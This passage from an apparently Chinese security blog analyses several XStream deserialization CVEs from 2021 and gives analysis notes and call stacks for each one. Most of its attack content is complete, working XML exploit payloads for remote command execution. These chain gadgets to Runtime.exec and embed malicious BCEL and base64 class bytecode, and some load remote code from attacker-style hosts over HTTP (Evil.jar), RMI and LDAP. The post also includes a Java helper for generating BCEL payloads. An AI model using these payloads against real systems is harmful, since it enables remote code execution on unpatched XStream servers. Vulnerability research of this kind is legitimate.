get:343, Accessor$GetterSetterReflection (com.sun.xml.internal.bind.v2.runtime.reflect)
serializeURIs:402, ClassBeanInfoImpl (com.sun.xml.internal.bind.v2.runtime)
childAsXsiType:662, XMLSerializer (com.sun.xml.internal.bind.v2.runtime)
write:256, MarshallerImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:89, BridgeImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:130, Bridge (com.sun.xml.internal.bind.api)
marshal:161, BridgeWrapper (com.sun.xml.internal.ws.db.glassfish)
writeTo:109, JAXBAttachment (com.sun.xml.internal.ws.message)
asInputStream:99, JAXBAttachment (com.sun.xml.internal.ws.message)
getInputStream:125, JAXBAttachment (com.sun.xml.internal.ws.message)
getMessage:366, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:465, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:103, MessageWrapper (com.sun.xml.internal.ws.api.message)
get:111, ResponseContext (com.sun.xml.internal.ws.client)
compareIndices:2492, DataTransferer$IndexedComparator (sun.awt.datatransfer)
compare:2971, DataTransferer$IndexOrderComparator (sun.awt.datatransfer)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util)
doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1409, XStream (com.thoughtworks.xstream)
unmarshal:1388, XStream (com.thoughtworks.xstream)
fromXML:1273, XStream (com.thoughtworks.xstream)
fromXML:1264, XStream (com.thoughtworks.xstream)
main:111, LDAPRCE (pers.xstream)

CVE-2021-21345

影响版本
<=1.4.15
版本说明

和上一个CVE一样

poc
<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
        <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
          <packet>
            <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
              <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
                <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
                  <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                    <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                      <jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
                      <uriProperties/>
                      <attributeProperties/>
                      <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                        <getter>
                          <class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
                          <name>verify</name>
                          <parameter-types/>
                        </getter>
                      </inheritedAttWildcard>
                    </bi>
                    <tagName/>
                    <context>
                      <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                        <outer-class reference='../..'/>
                      </marshallerPool>
                      <nameList>
                        <nsUriCannotBeDefaulted>
                          <boolean>true</boolean>
                        </nsUriCannotBeDefaulted>
                        <namespaceURIs>
                          <string>1</string>
                        </namespaceURIs>
                        <localNames>
                          <string>UTF-8</string>
                        </localNames>
                      </nameList>
                    </context>
                  </bridge>
                </bridge>
                <jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
                  <activationCmd>calc</activationCmd>
                </jaxbObject>
              </dataSource>
            </message>
            <satellites/>
            <invocationProperties/>
          </packet>
        </indexMap>
      </comparator>
    </default>
    <int>3</int>
    <string>javax.xml.ws.binding.attachments.inbound</string>
    <string>javax.xml.ws.binding.attachments.inbound</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>
分析

这条链子和之前的相比来说,前面部分都是差不多的,只是他没有使用JdbcRowSetImpl链,使用的是com.sun.corba.se.impl.activation.ServerTableEntry类中的verify方法配合属性activationCmd直接执行命令

com.sun.corba.se.impl.activation.ServerTableEntry#verify打下断点

根据前面CVE分析的铺垫,将会在com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection#get方法中,进行反射调用,成功进入到了verify方法中

而在POC中对其中的属性值也进行了定义

image-20220729195430530.png

最后理所应当得执行了命令

调用栈

verify:174, ServerTableEntry (com.sun.corba.se.impl.activation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:343, Accessor$GetterSetterReflection (com.sun.xml.internal.bind.v2.runtime.reflect)
serializeURIs:402, ClassBeanInfoImpl (com.sun.xml.internal.bind.v2.runtime)
childAsXsiType:662, XMLSerializer (com.sun.xml.internal.bind.v2.runtime)
write:256, MarshallerImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:89, BridgeImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:130, Bridge (com.sun.xml.internal.bind.api)
marshal:161, BridgeWrapper (com.sun.xml.internal.ws.db.glassfish)
writeTo:109, JAXBAttachment (com.sun.xml.internal.ws.message)
asInputStream:99, JAXBAttachment (com.sun.xml.internal.ws.message)
getInputStream:125, JAXBAttachment (com.sun.xml.internal.ws.message)
getMessage:366, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:465, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:103, MessageWrapper (com.sun.xml.internal.ws.api.message)
get:111, ResponseContext (com.sun.xml.internal.ws.client)
compareIndices:2492, DataTransferer$IndexedComparator (sun.awt.datatransfer)
compare:2971, DataTransferer$IndexOrderComparator (sun.awt.datatransfer)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util)
doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1409, XStream (com.thoughtworks.xstream)
unmarshal:1388, XStream (com.thoughtworks.xstream)
fromXML:1273, XStream (com.thoughtworks.xstream)
fromXML:1264, XStream (com.thoughtworks.xstream)
main:67, XStreamRCE (pers.xstream)

CVE-2021-21347

影响版本
<= 1.4.15
poc
<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='javafx.collections.ObservableList$1'/>
    </default>
    <int>3</int>
    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
      <dataHandler>
        <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
          <contentType>text/plain</contentType>
          <is class='java.io.SequenceInputStream'>
            <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
              <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
                <names class='java.util.AbstractList$Itr'>
                  <cursor>0</cursor>
                  <lastRet>-1</lastRet>
                  <expectedModCount>0</expectedModCount>
                  <outer-class class='java.util.Arrays$ArrayList'>
                    <a class='string-array'>
                      <string>Evil</string>
                    </a>
                  </outer-class>
                </names>
                <processorCL class='java.net.URLClassLoader'>
                  <ucp class='sun.misc.URLClassPath'>
                    <urls serialization='custom'>
                      <unserializable-parents/>
                      <vector>
                        <default>
                          <capacityIncrement>0</capacityIncrement>
                          <elementCount>1</elementCount>
                          <elementData>
                            <url>http://127.0.0.1:80/Evil.jar</url>
                          </elementData>
                        </default>
                      </vector>
                    </urls>
                    <path>
                      <url>http://127.0.0.1:80/Evil.jar</url>
                    </path>
                    <loaders/>
                    <lmap/>
                  </ucp>
                  <package2certs class='concurrent-hash-map'/>
                  <classes/>
                  <defaultDomain>
                    <classloader class='java.net.URLClassLoader' reference='../..'/>
                    <principals/>
                    <hasAllPerm>false</hasAllPerm>
                    <staticPermissions>false</staticPermissions>
                    <key>
                      <outer-class reference='../..'/>
                    </key>
                  </defaultDomain>
                  <initialized>true</initialized>
                  <pdcache/>
                </processorCL>
              </iterator>
              <type>KEYS</type>
            </e>
            <in class='java.io.ByteArrayInputStream'>
              <buf></buf>
              <pos>-2147483648</pos>
              <mark>0</mark>
              <count>0</count>
            </in>
          </is>
          <consumed>false</consumed>
        </dataSource>
        <transferFlavors/>
      </dataHandler>
      <dataLen>0</dataLen>
    </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>
分析

这里主要是通过JavacProcessingEnvironment#hasNext方法中存在有processorCL属性存在调用loadClass方法,且参数可控

image-20220729211757751.png

CVE-2021-21350

影响版本
<= 1.4.15
poc
<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='javafx.collections.ObservableList$1'/>
    </default>
    <int>3</int>
    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
      <dataHandler>
        <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
          <contentType>text/plain</contentType>
          <is class='java.io.SequenceInputStream'>
            <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
              <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
                <names class='java.util.AbstractList$Itr'>
                  <cursor>0</cursor>
                  <lastRet>-1</lastRet>
                  <expectedModCount>0</expectedModCount>
                  <outer-class class='java.util.Arrays$ArrayList'>
                    <a class='string-array'>
                      <string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$ddN$c20$Y$3d$85$c9$60$O$e5G$fcW$f0J0Qn$bc$c3$Y$T$83$89$c9$oF$M$5e$97$d9$60$c9X$c9$d6$R$5e$cb$h5$5e$f8$A$3e$94$f1$x$g$q$b1MwrN$cf$f9$be$b6$fb$fcz$ff$Ap$8a$aa$83$MJ$O$caX$cb$a2bp$dd$c6$86$8dM$86$cc$99$M$a5$3egH$d7$h$3d$G$ebR$3d$K$86UO$86$e2$s$Z$f5Et$cf$fb$B$v$rO$f9$3c$e8$f1H$g$fe$xZ$faI$c6T$c3kOd$d0bp$daS_$8c$b5Talc$8bxW$r$91$_$ae$a41$e7$8c$e9d$c8$t$dc$85$8d$ac$8dm$X$3b$d8$a5$d2j$y$c2$da1$afQ$D$3f$J$b8V$91$8b$3d$ecS$7d$Ta$u$98P3$e0$e1$a0$d9$e9$P$85$af$Z$ca3I$aa$e6ug$de$93$a1$f8g$bcKB$zG$d4$d6$Z$I$3d$t$95z$c3$fb$e7$a1$83$5bb$w$7c$86$c3$fa$c2nWG2$i$b4$W$D$b7$91$f2E$i$b7p$80$rzQ3$YM$ba$NR$c8$R$bb$md$84$xG$af$60oH$95$d2$_$b0$k$9eII$c11$3a$d2$f4$cd$c2$ow$9e$94eb$eeO$820$3fC$d0$$$fd$BZ$85Y$ae$f8$N$93$85$cf$5c$c7$B$A$A</string>
                    </a>
                  </outer-class>
                </names>
                <processorCL class='com.sun.org.apache.bcel.internal.util.ClassLoader'>
                  <parent class='sun.misc.Launcher$ExtClassLoader'>
                  </parent>
                  <package2certs class='hashtable'/>
                  <classes defined-in='java.lang.ClassLoader'/>
                  <defaultDomain>
                    <classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='../..'/>
                    <principals/>
                    <hasAllPerm>false</hasAllPerm>
                    <staticPermissions>false</staticPermissions>
                    <key>
                      <outer-class reference='../..'/>
                    </key>
                  </defaultDomain>
                  <packages/>
                  <nativeLibraries/>
                  <assertionLock class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/>
                  <defaultAssertionStatus>false</defaultAssertionStatus>
                  <classes/>
                  <ignored__packages>
                    <string>java.</string>
                    <string>javax.</string>
                    <string>sun.</string>
                  </ignored__packages>
                  <repository class='com.sun.org.apache.bcel.internal.util.SyntheticRepository'>
                    <__path>
                      <paths/>
                      <class__path>.</class__path>
                    </__path>
                    <__loadedClasses/>
                  </repository>
                  <deferTo class='sun.misc.Launcher$ExtClassLoader' reference='../parent'/>
                </processorCL>
              </iterator>
              <type>KEYS</type>
            </e>
            <in class='java.io.ByteArrayInputStream'>
              <buf></buf>
              <pos>0</pos>
              <mark>0</mark>
              <count>0</count>
            </in>
          </is>
          <consumed>false</consumed>
        </dataSource>
        <transferFlavors/>
      </dataHandler>
      <dataLen>0</dataLen>
    </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>
分析

这个CVE没有使用上一个URLClassLoader进行加载,改用bcel的classLoader进行加载,之前在fastjson的内网利用链已经分析了

放一个生成bcel的

//TransBcel
package pers.classLoad;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.io.IOException;

public class TransBcel {
    public static void main(String[] args) throws IOException, InstantiationException, IllegalAccessException, ClassNotFoundException {
        JavaClass javaClass = Repository.lookupClass(EvilOfBcel.class); //转化成原生字节码,javac命令也可以达到目的
        String code = Utility.encode(javaClass.getBytes(), true); //将字节码转化为BCEL格式的字节码
        System.out.println(code);
        //生成的code还需要加上$$BCEL$$,因为com.sun.org.apache.bcel.internal.util.ClassLoader中会判断类名是否的他开头

        //执行恶意类
        Class c = (Class) new ClassLoader().loadClass("$$BCEL$$" + code);
        c.newInstance();
    }
}

CVE-2021-29505

影响版本
<= 1.4.6
版本修复

image-20220729220707424.png

添加了关于rmi的过滤

poc
<java.util.PriorityQueue serialization='custom'>
    <unserializable-parents/>
    <java.util.PriorityQueue>
        <default>
            <size>2</size>
        </default>
        <int>3</int>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                    <parsedMessage>true</parsedMessage>
                    <soapVersion>SOAP_11</soapVersion>
                    <bodyParts/>
                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                        <attachmentsInitialized>false</attachmentsInitialized>
                        <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                                <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                                    <names>
                                        <string>aa</string>
                                        <string>aa</string>
                                    </names>
                                    <ctx>
                                        <environment/>
                                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                                            <java.rmi.server.RemoteObject>
                                                <string>UnicastRef</string>
                                                <string>192.168.2.149</string>
                                                <int>9999</int>
                                                <long>0</long>
                                                <int>0</int>
                                                <long>0</long>
                                                <short>0</short>
                                                <boolean>false</boolean>
                                            </java.rmi.server.RemoteObject>
                                        </registry>
                                        <host>192.168.2.149<</host>
                                        <port>9999</port>
                                    </ctx>
                                </candidates>
                            </aliases>
                        </nullIter>
                    </sm>
                </message>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
    </java.util.PriorityQueue>
</java.util.PriorityQueue>

image-20220729221046504.png

分析

这个cve主要是通过java.util.PriorityQueue + javax.naming.ldap.Rdn_-RdnEntry结合使用配合com.sun.jndi.rmi.registry.BindingEnumeration类进行rmi远程Stub的加载,达到加载jndi注入

影响 1.4.17版本

修复

直接在这之后默认使用白名单

image-20220729224903369.png

CVE-2021-39139
poc
<linked-hash-set>
  <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization='custom'>
    <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
      <default>
        <__name>Pwnr</__name>
        <__bytecodes>
          <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMuZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVyNDE2NTkyOTE1MTgwNjAwAQAgTHlzb3NlcmlhbC9Qd25lcjQxNjU5MjkxNTE4MDYwMDsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAk=</byte-array>
          <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
        </__bytecodes>
        <__transletIndex>-1</__transletIndex>
        <__indentNumber>0</__indentNumber>
      </default>
    </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
  </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
  <dynamic-proxy>
    <interface>javax.xml.transform.Templates</interface>
    <handler class='sun.reflect.annotation.AnnotationInvocationHandler' serialization='custom'>
      <sun.reflect.annotation.AnnotationInvocationHandler>
        <default>
          <memberValues>
            <entry>
              <string>f5a5a608</string>
              <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl reference='../../../../../../../com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl'/>
            </entry>
          </memberValues>
          <type>javax.xml.transform.Templates</type>
        </default>
      </sun.reflect.annotation.AnnotationInvocationHandler>
    </handler>
  </dynamic-proxy>
</linked-hash-set>
分析

这里主要是借鉴了cc链中的思路,根据com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl配合sun.reflect.annotation.AnnotationInvocationHandler触发连用链,当然,我们也知道,sun.reflect.annotation.AnnotationInvocationHandler在高版本中不存在了

CVE-2021-39144
poc
<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class='sun.tracing.NullProvider'>
        <active>true</active>
        <providerType>java.lang.Comparable</providerType>
        <probes>
          <entry>
            <method>
              <class>java.lang.Comparable</class>
              <name>compareTo</name>
              <parameter-types>
                <class>java.lang.Object</class>
              </parameter-types>
            </method>
            <sun.tracing.dtrace.DTraceProbe>
              <proxy class='java.lang.Runtime'/>
              <implementing__method>
                <class>java.lang.Runtime</class>
                <name>exec</name>
                <parameter-types>
                  <class>java.lang.String</class>
                </parameter-types>
              </implementing__method>
            </sun.tracing.dtrace.DTraceProbe>
          </entry>
        </probes>
      </handler>
    </dynamic-proxy>
    <string>calc</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>
分析

这个poc的风格和最开始的cve感觉尤其的相似,同样使用了dynamic-proxy标签,选用了sun.tracing.NullProvider作为handler进行动态代理,通过反射获取了java.lang.Runtime类和exec方法,且传入参数类型进行了定义java.lang.String calc

CVE-2021-39146
poc
<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>test</type>
    <value class='javax.swing.MultiUIDefaults' serialization='custom'>
      <unserializable-parents/>
      <hashtable>
          <default>
            <loadFactor>0.75</loadFactor>
            <threshold>525</threshold>
          </default>
          <int>700</int>
          <int>0</int>
      </hashtable>
      <javax.swing.UIDefaults>
          <default>
            <defaultLocale>zh_CN</defaultLocale>
            <resourceCache/>
          </default>
      </javax.swing.UIDefaults>
      <javax.swing.MultiUIDefaults>
          <default>
            <tables>
            <javax.swing.UIDefaults serialization='custom'>
              <unserializable-parents/>
              <hashtable>
                <default>
                  <loadFactor>0.75</loadFactor>
                  <threshold>525</threshold>
                </default>
                <int>700</int>
                <int>1</int>
                <string>lazyValue</string>
                <javax.swing.UIDefaults_-ProxyLazyValue>
                  <className>javax.naming.InitialContext</className>
                  <methodName>doLookup</methodName>
                  <args>
                    <string>ldap://127.0.0.1:9999/#evil</string>
                  </args>
                </javax.swing.UIDefaults_-ProxyLazyValue>
              </hashtable>
              <javax.swing.UIDefaults>
                <default>
                  <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
                  <resourceCache/>
                </default>
              </javax.swing.UIDefaults>
            </javax.swing.UIDefaults>
            </tables>
          </default>
      </javax.swing.MultiUIDefaults>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>test</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
分析

这里主要是通过javax.swing.UIDefaults_-ProxyLazyValue这个内部类中存在有反射调用任意类的方法的逻辑

image-20220729224716667.png

参考

XStream - Change History (x-stream.github.io)

https://github.com/x-stream/xstream/compare

https://paper.seebug.org/1543/

评论

RoboTerh

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

前端安全 文章:29 篇
漏洞分析 文章:212 篇
硬件与物联网 文章:40 篇
数据安全 文章:29 篇
Web安全 文章:248 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录